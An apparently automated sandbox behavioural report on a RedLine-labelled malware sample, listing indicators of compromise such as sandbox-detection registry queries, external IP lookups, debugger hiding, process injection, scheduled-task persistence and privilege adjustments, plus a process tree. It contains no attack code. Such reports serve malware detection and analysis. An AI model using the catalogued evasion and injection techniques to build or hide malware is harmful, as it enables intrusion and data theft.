redline | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	lBcUZ1CkjIsRxo2q0wHsg_kl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	lBcUZ1CkjIsRxo2q0wHsg_kl.exe

Loads dropped DLL 9 IoCs

pid	Process
1080	setup_install.exe
1080	setup_install.exe
1080	setup_install.exe
1080	setup_install.exe
1080	setup_install.exe
1080	setup_install.exe
2296	Conhost.exe
5168	Tue01d702368dbba.tmp
3004	msiexec.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	lBcUZ1CkjIsRxo2q0wHsg_kl.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	ipinfo.io
117	ipinfo.io
177	ipinfo.io
185	ipinfo.io
194	ip-api.com
1	ip-api.com
1	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
5000	lBcUZ1CkjIsRxo2q0wHsg_kl.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4528 set thread context of 5188	4528	Tue01de2411919659f09.exe	128
PID 4512 set thread context of 5204	4512	Tue017abac33187.exe	127
PID 6096 set thread context of 3208	6096	cGRxPW4fmZTC8sVr_TJdyu1d.exe	39

autoit_exe 3 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral19/files/0x000100000002b1ce-240.dat	autoit_exe
behavioral19/files/0x000100000002b1ce-197.dat	autoit_exe
behavioral19/files/0x000100000002b1f8-345.dat	autoit_exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
4408	1080	WerFault.exe	80
5548	5188	WerFault.exe	128
3764	4352	WerFault.exe	96
2556	4588	WerFault.exe	116
5664	5044	WerFault.exe	122
4028	5128	WerFault.exe	143
3032	6128	WerFault.exe	140
5680	1096	WerFault.exe	107
2848	3952	WerFault.exe	171
5612	5920	WerFault.exe	136
1876	5984	WerFault.exe	204
5460	4828	WerFault.exe	221
2904	1188	WerFault.exe	222
6040	1356	WerFault.exe	223
6580	6172	WerFault.exe	261

Checks processor information in registry 2 TTPs 56 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1840	schtasks.exe
1488	schtasks.exe

Enumerates system info in registry 2 TTPs 17 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	chkdsk.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
6060	taskkill.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2928	powershell.exe
2928	powershell.exe
2672	powershell.exe
2672	powershell.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe
1232	Tue018f791563585c0f9.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
6096	cGRxPW4fmZTC8sVr_TJdyu1d.exe
6096	cGRxPW4fmZTC8sVr_TJdyu1d.exe
6096	cGRxPW4fmZTC8sVr_TJdyu1d.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	4588	Tue01bf08f313b912.exe
Token: SeAssignPrimaryTokenPrivilege	4588	Tue01bf08f313b912.exe
Token: SeLockMemoryPrivilege	4588	Tue01bf08f313b912.exe
Token: SeIncreaseQuotaPrivilege	4588	Tue01bf08f313b912.exe
Token: SeMachineAccountPrivilege	4588	Tue01bf08f313b912.exe
Token: SeTcbPrivilege	4588	Tue01bf08f313b912.exe
Token: SeSecurityPrivilege	4588	Tue01bf08f313b912.exe
Token: SeTakeOwnershipPrivilege	4588	Tue01bf08f313b912.exe
Token: SeLoadDriverPrivilege	4588	Tue01bf08f313b912.exe
Token: SeSystemProfilePrivilege	4588	Tue01bf08f313b912.exe
Token: SeSystemtimePrivilege	4588	Tue01bf08f313b912.exe
Token: SeProfSingleProcessPrivilege	4588	Tue01bf08f313b912.exe
Token: SeIncBasePriorityPrivilege	4588	Tue01bf08f313b912.exe
Token: SeCreatePagefilePrivilege	4588	Tue01bf08f313b912.exe
Token: SeCreatePermanentPrivilege	4588	Tue01bf08f313b912.exe
Token: SeBackupPrivilege	4588	Tue01bf08f313b912.exe
Token: SeRestorePrivilege	4588	Tue01bf08f313b912.exe
Token: SeShutdownPrivilege	4588	Tue01bf08f313b912.exe
Token: SeDebugPrivilege	4588	Tue01bf08f313b912.exe
Token: SeAuditPrivilege	4588	Tue01bf08f313b912.exe
Token: SeSystemEnvironmentPrivilege	4588	Tue01bf08f313b912.exe
Token: SeChangeNotifyPrivilege	4588	Tue01bf08f313b912.exe
Token: SeRemoteShutdownPrivilege	4588	Tue01bf08f313b912.exe
Token: SeUndockPrivilege	4588	Tue01bf08f313b912.exe
Token: SeSyncAgentPrivilege	4588	Tue01bf08f313b912.exe
Token: SeEnableDelegationPrivilege	4588	Tue01bf08f313b912.exe
Token: SeManageVolumePrivilege	4588	Tue01bf08f313b912.exe
Token: SeImpersonatePrivilege	4588	Tue01bf08f313b912.exe
Token: SeCreateGlobalPrivilege	4588	Tue01bf08f313b912.exe
Token: 31	4588	Tue01bf08f313b912.exe
Token: 32	4588	Tue01bf08f313b912.exe
Token: 33	4588	Tue01bf08f313b912.exe
Token: 34	4588	Tue01bf08f313b912.exe
Token: 35	4588	Tue01bf08f313b912.exe
Token: SeDebugPrivilege	3260	Tue010769fc7f9829.exe
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	4664	Tue018bc5c5a0a3d4.exe
Token: SeRestorePrivilege	4408	WerFault.exe
Token: SeBackupPrivilege	4408	WerFault.exe
Token: SeDebugPrivilege	6060	taskkill.exe
Token: SeDebugPrivilege	6096	cGRxPW4fmZTC8sVr_TJdyu1d.exe
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE
Token: SeShutdownPrivilege	3208	Explorer.EXE
Token: SeCreatePagefilePrivilege	3208	Explorer.EXE

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe

Suspicious use of SendNotifyMessage 38 IoCs

pid	Process
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
4028	WerFault.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe
5952	run2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1868 wrote to memory of 4008	1868	cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe	79
PID 1868 wrote to memory of 4008	1868	cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe	79
PID 1868 wrote to memory of 4008	1868	cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe	79
PID 4008 wrote to memory of 1080	4008	setup_installer.exe	80
PID 4008 wrote to memory of 1080	4008	setup_installer.exe	80
PID 4008 wrote to memory of 1080	4008	setup_installer.exe	80
PID 1080 wrote to memory of 4400	1080	setup_install.exe	84
PID 1080 wrote to memory of 4400	1080	setup_install.exe	84
PID 1080 wrote to memory of 4400	1080	setup_install.exe	84
PID 1080 wrote to memory of 3860	1080	setup_install.exe	85
PID 1080 wrote to memory of 3860	1080	setup_install.exe	85
PID 1080 wrote to memory of 3860	1080	setup_install.exe	85
PID 4400 wrote to memory of 2928	4400	cmd.exe	86
PID 4400 wrote to memory of 2928	4400	cmd.exe	86
PID 4400 wrote to memory of 2928	4400	cmd.exe	86
PID 1080 wrote to memory of 3984	1080	setup_install.exe	87
PID 1080 wrote to memory of 3984	1080	setup_install.exe	87
PID 1080 wrote to memory of 3984	1080	setup_install.exe	87
PID 3860 wrote to memory of 2672	3860	cmd.exe	88
PID 3860 wrote to memory of 2672	3860	cmd.exe	88
PID 3860 wrote to memory of 2672	3860	cmd.exe	88
PID 1080 wrote to memory of 2840	1080	setup_install.exe	91
PID 1080 wrote to memory of 2840	1080	setup_install.exe	91
PID 1080 wrote to memory of 2840	1080	setup_install.exe	91
PID 1080 wrote to memory of 4308	1080	setup_install.exe	89
PID 1080 wrote to memory of 4308	1080	setup_install.exe	89
PID 1080 wrote to memory of 4308	1080	setup_install.exe	89
PID 1080 wrote to memory of 4916	1080	setup_install.exe	90
PID 1080 wrote to memory of 4916	1080	setup_install.exe	90
PID 1080 wrote to memory of 4916	1080	setup_install.exe	90
PID 2840 wrote to memory of 4352	2840	cmd.exe	96
PID 2840 wrote to memory of 4352	2840	cmd.exe	96
PID 2840 wrote to memory of 4352	2840	cmd.exe	96
PID 1080 wrote to memory of 3144	1080	setup_install.exe	95
PID 1080 wrote to memory of 3144	1080	setup_install.exe	95
PID 1080 wrote to memory of 3144	1080	setup_install.exe	95
PID 3984 wrote to memory of 4784	3984	cmd.exe	94
PID 3984 wrote to memory of 4784	3984	cmd.exe	94
PID 3984 wrote to memory of 4784	3984	cmd.exe	94
PID 1080 wrote to memory of 1900	1080	setup_install.exe	92
PID 1080 wrote to memory of 1900	1080	setup_install.exe	92
PID 1080 wrote to memory of 1900	1080	setup_install.exe	92
PID 1080 wrote to memory of 3800	1080	setup_install.exe	93
PID 1080 wrote to memory of 3800	1080	setup_install.exe	93
PID 1080 wrote to memory of 3800	1080	setup_install.exe	93
PID 3144 wrote to memory of 4512	3144	cmd.exe	125
PID 3144 wrote to memory of 4512	3144	cmd.exe	125
PID 3144 wrote to memory of 4512	3144	cmd.exe	125
PID 1080 wrote to memory of 3068	1080	setup_install.exe	97
PID 1080 wrote to memory of 3068	1080	setup_install.exe	97
PID 1080 wrote to memory of 3068	1080	setup_install.exe	97
PID 4308 wrote to memory of 1892	4308	cmd.exe	124
PID 4308 wrote to memory of 1892	4308	cmd.exe	124
PID 1080 wrote to memory of 420	1080	setup_install.exe	98
PID 1080 wrote to memory of 420	1080	setup_install.exe	98
PID 1080 wrote to memory of 420	1080	setup_install.exe	98
PID 1080 wrote to memory of 1596	1080	setup_install.exe	101
PID 1080 wrote to memory of 1596	1080	setup_install.exe	101
PID 1080 wrote to memory of 1596	1080	setup_install.exe	101
PID 1080 wrote to memory of 4120	1080	setup_install.exe	99
PID 1080 wrote to memory of 4120	1080	setup_install.exe	99
PID 1080 wrote to memory of 4120	1080	setup_install.exe	99
PID 1080 wrote to memory of 3092	1080	setup_install.exe	100
PID 1080 wrote to memory of 3092	1080	setup_install.exe	100

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3208
- C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe
  "C:\Users\Admin\AppData\Local\Temp\cbf31d825ac364f97420cb6523bca7bbcab24292e93fc9e946e64cb446291ad2.exe"
  2⤵
